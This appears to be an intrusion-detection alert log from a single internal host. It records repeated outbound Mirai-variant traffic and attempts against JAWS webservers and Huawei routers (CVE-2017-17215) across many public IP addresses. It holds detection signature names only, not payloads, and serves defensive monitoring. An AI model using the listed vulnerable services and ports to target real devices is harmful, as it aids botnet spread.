2024-12-03T22:17:11.493289+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48866	49.132.127.254	80	TCP
2024-12-03T22:17:11.493296+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57510	117.255.80.131	80	TCP
2024-12-03T22:17:11.493296+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57510	117.255.80.131	80	TCP
2024-12-03T22:17:11.493312+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41702	86.199.183.40	80	TCP
2024-12-03T22:17:11.493312+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41702	86.199.183.40	80	TCP
2024-12-03T22:17:11.508192+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50074	178.167.225.20	80	TCP
2024-12-03T22:17:11.508192+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50074	178.167.225.20	80	TCP
2024-12-03T22:17:11.508613+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41426	202.130.12.212	80	TCP
2024-12-03T22:17:11.508613+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41426	202.130.12.212	80	TCP
2024-12-03T22:17:11.508814+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60926	32.60.240.155	80	TCP
2024-12-03T22:17:11.508814+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60926	32.60.240.155	80	TCP
2024-12-03T22:17:11.509043+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33070	116.198.57.17	80	TCP
2024-12-03T22:17:11.509043+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33070	116.198.57.17	80	TCP
2024-12-03T22:17:11.509144+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56374	163.247.225.173	80	TCP
2024-12-03T22:17:11.509144+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56374	163.247.225.173	80	TCP
2024-12-03T22:17:11.509250+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45530	1.78.144.178	80	TCP
2024-12-03T22:17:11.509250+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45530	1.78.144.178	80	TCP
2024-12-03T22:17:11.509310+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44064	2.116.62.181	80	TCP
2024-12-03T22:17:11.509310+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44064	2.116.62.181	80	TCP
2024-12-03T22:17:11.509447+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45496	161.115.163.88	80	TCP
2024-12-03T22:17:11.509447+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45496	161.115.163.88	80	TCP
2024-12-03T22:17:11.523616+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55606	138.128.101.135	80	TCP
2024-12-03T22:17:11.523616+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55606	138.128.101.135	80	TCP
2024-12-03T22:17:11.592791+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52870	156.126.99.239	37215	TCP
2024-12-03T22:17:11.623968+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45042	155.207.215.11	80	TCP
2024-12-03T22:17:11.623968+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45042	155.207.215.11	80	TCP
2024-12-03T22:17:11.640071+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59800	111.131.4.87	80	TCP
2024-12-03T22:17:11.640071+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59800	111.131.4.87	80	TCP
2024-12-03T22:17:11.649606+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49922	73.123.193.39	80	TCP
2024-12-03T22:17:11.649606+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49922	73.123.193.39	80	TCP
2024-12-03T22:17:11.669635+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57504	186.44.230.51	80	TCP
2024-12-03T22:17:11.669635+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57504	186.44.230.51	80	TCP
2024-12-03T22:17:11.686349+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58206	146.239.100.84	80	TCP
2024-12-03T22:17:11.686349+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58206	146.239.100.84	80	TCP
2024-12-03T22:17:12.586366+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56452	197.193.108.120	37215	TCP
2024-12-03T22:17:12.592509+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57304	197.132.62.119	37215	TCP
2024-12-03T22:17:12.592650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33370	41.30.218.207	37215	TCP
2024-12-03T22:17:12.601888+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39548	156.81.76.10	37215	TCP
2024-12-03T22:17:12.624095+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53450	197.166.40.133	37215	TCP
2024-12-03T22:17:12.639583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42194	197.26.74.237	37215	TCP
2024-12-03T22:17:12.648840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38188	41.7.124.25	37215	TCP
2024-12-03T22:17:12.664585+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39518	156.170.127.69	37215	TCP
2024-12-03T22:17:13.461643+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44830	23.93.194.133	80	TCP
2024-12-03T22:17:13.461643+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44830	23.93.194.133	80	TCP
2024-12-03T22:17:13.468402+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60176	99.212.18.166	80	TCP
2024-12-03T22:17:13.468402+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60176	99.212.18.166	80	TCP
2024-12-03T22:17:13.468430+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56424	145.20.17.13	80	TCP
2024-12-03T22:17:13.468430+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56424	145.20.17.13	80	TCP
2024-12-03T22:17:13.477061+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40276	8.43.2.155	80	TCP
2024-12-03T22:17:13.477061+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40276	8.43.2.155	80	TCP
2024-12-03T22:17:13.477262+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34760	210.36.162.136	80	TCP
2024-12-03T22:17:13.477262+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34760	210.36.162.136	80	TCP
2024-12-03T22:17:13.483741+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33488	125.111.75.105	80	TCP
2024-12-03T22:17:13.483741+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33488	125.111.75.105	80	TCP
2024-12-03T22:17:13.493239+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60086	176.10.51.162	80	TCP
2024-12-03T22:17:13.493239+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60086	176.10.51.162	80	TCP
2024-12-03T22:17:13.499892+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44762	201.157.7.217	80	TCP
2024-12-03T22:17:13.499892+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44762	201.157.7.217	80	TCP
2024-12-03T22:17:13.500179+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41006	97.55.138.48	80	TCP
2024-12-03T22:17:13.500179+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41006	97.55.138.48	80	TCP
2024-12-03T22:17:13.509239+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34482	64.69.46.207	80	TCP
2024-12-03T22:17:13.509239+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34482	64.69.46.207	80	TCP
2024-12-03T22:17:13.509321+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34848	73.104.148.95	80	TCP
2024-12-03T22:17:13.509321+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34848	73.104.148.95	80	TCP
2024-12-03T22:17:13.509529+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45994	93.104.201.65	80	TCP
2024-12-03T22:17:13.509529+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45994	93.104.201.65	80	TCP
2024-12-03T22:17:13.514929+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40132	128.106.21.141	80	TCP
2024-12-03T22:17:13.514929+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40132	128.106.21.141	80	TCP
2024-12-03T22:17:13.514997+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54072	194.18.61.94	80	TCP
2024-12-03T22:17:13.514997+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54072	194.18.61.94	80	TCP
2024-12-03T22:17:13.523796+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41618	101.211.231.251	80	TCP
2024-12-03T22:17:13.523796+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41618	101.211.231.251	80	TCP
2024-12-03T22:17:13.524305+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49154	107.229.45.191	80	TCP
2024-12-03T22:17:13.524305+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49154	107.229.45.191	80	TCP
2024-12-03T22:17:13.524472+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55086	2.233.134.116	80	TCP
2024-12-03T22:17:13.524472+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55086	2.233.134.116	80	TCP
2024-12-03T22:17:13.524760+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37176	1.252.247.68	80	TCP
2024-12-03T22:17:13.524760+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37176	1.252.247.68	80	TCP
2024-12-03T22:17:13.540105+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36864	159.157.188.52	80	TCP
2024-12-03T22:17:13.540105+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36864	159.157.188.52	80	TCP
2024-12-03T22:17:13.555986+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48116	54.6.47.124	80	TCP
2024-12-03T22:17:13.555986+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48116	54.6.47.124	80	TCP
2024-12-03T22:17:13.556042+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55390	103.104.235.120	80	TCP
2024-12-03T22:17:13.556042+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55390	103.104.235.120	80	TCP
2024-12-03T22:17:13.556149+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33352	213.75.138.155	80	TCP
2024-12-03T22:17:13.556149+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33352	213.75.138.155	80	TCP
2024-12-03T22:17:13.556242+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51820	110.23.29.220	80	TCP
2024-12-03T22:17:13.556242+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51820	110.23.29.220	80	TCP
2024-12-03T22:17:13.670945+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53464	128.160.146.62	80	TCP
2024-12-03T22:17:13.670945+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53464	128.160.146.62	80	TCP
2024-12-03T22:17:13.701998+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44828	13.37.13.251	80	TCP
2024-12-03T22:17:13.701998+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44828	13.37.13.251	80	TCP
2024-12-03T22:17:13.823865+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41832	192.18.96.173	80	TCP
2024-12-03T22:17:13.823865+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41832	192.18.96.173	80	TCP
2024-12-03T22:17:13.823878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56048	197.105.173.170	37215	TCP
2024-12-03T22:17:13.823918+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48538	57.247.150.105	80	TCP
2024-12-03T22:17:13.823918+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48538	57.247.150.105	80	TCP
2024-12-03T22:17:13.823925+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56914	46.96.134.251	80	TCP
2024-12-03T22:17:13.823925+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56914	46.96.134.251	80	TCP
2024-12-03T22:17:13.824019+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55962	76.165.243.2	80	TCP
2024-12-03T22:17:13.824019+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55962	76.165.243.2	80	TCP
2024-12-03T22:17:13.824036+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55198	138.190.218.64	80	TCP
2024-12-03T22:17:13.824036+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55198	138.190.218.64	80	TCP
2024-12-03T22:17:13.824059+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49884	175.136.0.206	80	TCP
2024-12-03T22:17:13.824059+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49884	175.136.0.206	80	TCP
2024-12-03T22:17:13.824072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51268	17.188.107.76	80	TCP
2024-12-03T22:17:13.824072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51268	17.188.107.76	80	TCP
2024-12-03T22:17:14.657703+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39196	124.243.135.24	80	TCP
2024-12-03T22:17:14.657703+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39196	124.243.135.24	80	TCP
2024-12-03T22:17:14.742508+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53260	197.235.112.160	37215	TCP
2024-12-03T22:17:14.764675+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39612	191.228.77.210	80	TCP
2024-12-03T22:17:14.764675+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39612	191.228.77.210	80	TCP
2024-12-03T22:17:14.815283+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42840	189.147.217.224	80	TCP
2024-12-03T22:17:14.815283+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42840	189.147.217.224	80	TCP
2024-12-03T22:17:14.815296+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59226	116.216.114.6	80	TCP
2024-12-03T22:17:14.815296+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59226	116.216.114.6	80	TCP
2024-12-03T22:17:14.842813+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39456	156.146.98.24	80	TCP
2024-12-03T22:17:14.842813+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39456	156.146.98.24	80	TCP
2024-12-03T22:17:14.898656+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38702	180.60.94.132	80	TCP
2024-12-03T22:17:14.898656+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38702	180.60.94.132	80	TCP
2024-12-03T22:17:14.898776+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35332	174.196.88.173	80	TCP
2024-12-03T22:17:14.898776+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35332	174.196.88.173	80	TCP
2024-12-03T22:17:14.976855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40120	131.59.130.94	80	TCP
2024-12-03T22:17:14.976855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40120	131.59.130.94	80	TCP
2024-12-03T22:17:15.914658+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42152	60.178.102.141	80	TCP
2024-12-03T22:17:15.914658+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42152	60.178.102.141	80	TCP
2024-12-03T22:17:15.935363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42236	197.1.206.139	37215	TCP
2024-12-03T22:17:15.967638+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50762	41.67.28.55	37215	TCP
2024-12-03T22:17:16.008813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53344	156.100.250.170	37215	TCP
2024-12-03T22:17:16.014530+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54800	89.137.176.141	80	TCP
2024-12-03T22:17:16.014530+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54800	89.137.176.141	80	TCP
2024-12-03T22:17:16.015072+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50676	156.13.215.132	37215	TCP
2024-12-03T22:17:16.015281+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59578	179.140.51.217	80	TCP
2024-12-03T22:17:16.015281+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59578	179.140.51.217	80	TCP
2024-12-03T22:17:16.023873+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48634	156.210.38.127	37215	TCP
2024-12-03T22:17:16.023930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56676	197.199.137.232	37215	TCP
2024-12-03T22:17:16.023994+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35002	197.81.175.206	37215	TCP
2024-12-03T22:17:16.055204+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44256	156.219.192.223	37215	TCP
2024-12-03T22:17:16.070804+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42992	82.147.27.113	80	TCP
2024-12-03T22:17:16.070804+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42992	82.147.27.113	80	TCP
2024-12-03T22:17:16.071063+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59154	208.52.232.31	80	TCP
2024-12-03T22:17:16.071063+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59154	208.52.232.31	80	TCP
2024-12-03T22:17:16.087125+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44398	150.222.20.65	80	TCP
2024-12-03T22:17:16.087125+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44398	150.222.20.65	80	TCP
2024-12-03T22:17:16.087207+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58022	42.222.254.70	80	TCP
2024-12-03T22:17:16.087207+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58022	42.222.254.70	80	TCP
2024-12-03T22:17:16.150101+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46118	197.98.23.17	80	TCP
2024-12-03T22:17:16.150101+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46118	197.98.23.17	80	TCP
2024-12-03T22:17:16.265228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53810	2.126.27.220	80	TCP
2024-12-03T22:17:16.265228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53810	2.126.27.220	80	TCP
2024-12-03T22:17:16.280738+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33390	166.205.84.52	80	TCP
2024-12-03T22:17:16.280738+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33390	166.205.84.52	80	TCP
2024-12-03T22:17:16.305173+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53538	100.53.164.49	80	TCP
2024-12-03T22:17:16.305173+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53538	100.53.164.49	80	TCP
2024-12-03T22:17:16.336304+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52782	19.2.6.115	80	TCP
2024-12-03T22:17:16.336304+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52782	19.2.6.115	80	TCP
2024-12-03T22:17:16.351869+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36912	148.28.111.157	80	TCP
2024-12-03T22:17:16.351869+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36912	148.28.111.157	80	TCP
2024-12-03T22:17:16.733571+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47612	210.159.47.47	80	TCP
2024-12-03T22:17:16.733571+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47612	210.159.47.47	80	TCP
2024-12-03T22:17:16.748899+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44106	211.28.212.81	80	TCP
2024-12-03T22:17:16.748899+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44106	211.28.212.81	80	TCP
2024-12-03T22:17:16.820733+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44492	178.212.220.26	80	TCP
2024-12-03T22:17:16.820733+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44492	178.212.220.26	80	TCP
2024-12-03T22:17:16.842698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51134	41.72.40.186	37215	TCP
2024-12-03T22:17:16.842888+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37630	156.127.117.248	37215	TCP
2024-12-03T22:17:16.873950+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54208	156.173.48.6	37215	TCP
2024-12-03T22:17:16.874291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50414	156.142.216.19	37215	TCP
2024-12-03T22:17:16.889567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53894	197.125.185.133	37215	TCP
2024-12-03T22:17:16.889720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50260	156.110.116.192	37215	TCP
2024-12-03T22:17:16.946143+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38364	156.30.63.25	37215	TCP
2024-12-03T22:17:16.967815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45572	156.234.118.115	37215	TCP
2024-12-03T22:17:16.967895+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60136	156.138.215.210	37215	TCP
2024-12-03T22:17:17.014825+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40734	197.236.127.19	37215	TCP
2024-12-03T22:17:17.039542+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53846	41.195.129.201	37215	TCP
2024-12-03T22:17:17.039545+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55242	197.199.156.6	37215	TCP
2024-12-03T22:17:17.039728+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57052	197.36.67.95	37215	TCP
2024-12-03T22:17:17.045964+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41936	66.167.139.239	80	TCP
2024-12-03T22:17:17.045964+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41936	66.167.139.239	80	TCP
2024-12-03T22:17:17.054985+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55640	41.48.156.167	37215	TCP
2024-12-03T22:17:17.061478+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47198	102.244.213.7	80	TCP
2024-12-03T22:17:17.061478+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47198	102.244.213.7	80	TCP
2024-12-03T22:17:17.092523+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50584	165.204.23.192	80	TCP
2024-12-03T22:17:17.092523+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50584	165.204.23.192	80	TCP
2024-12-03T22:17:17.101887+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56618	119.163.95.200	80	TCP
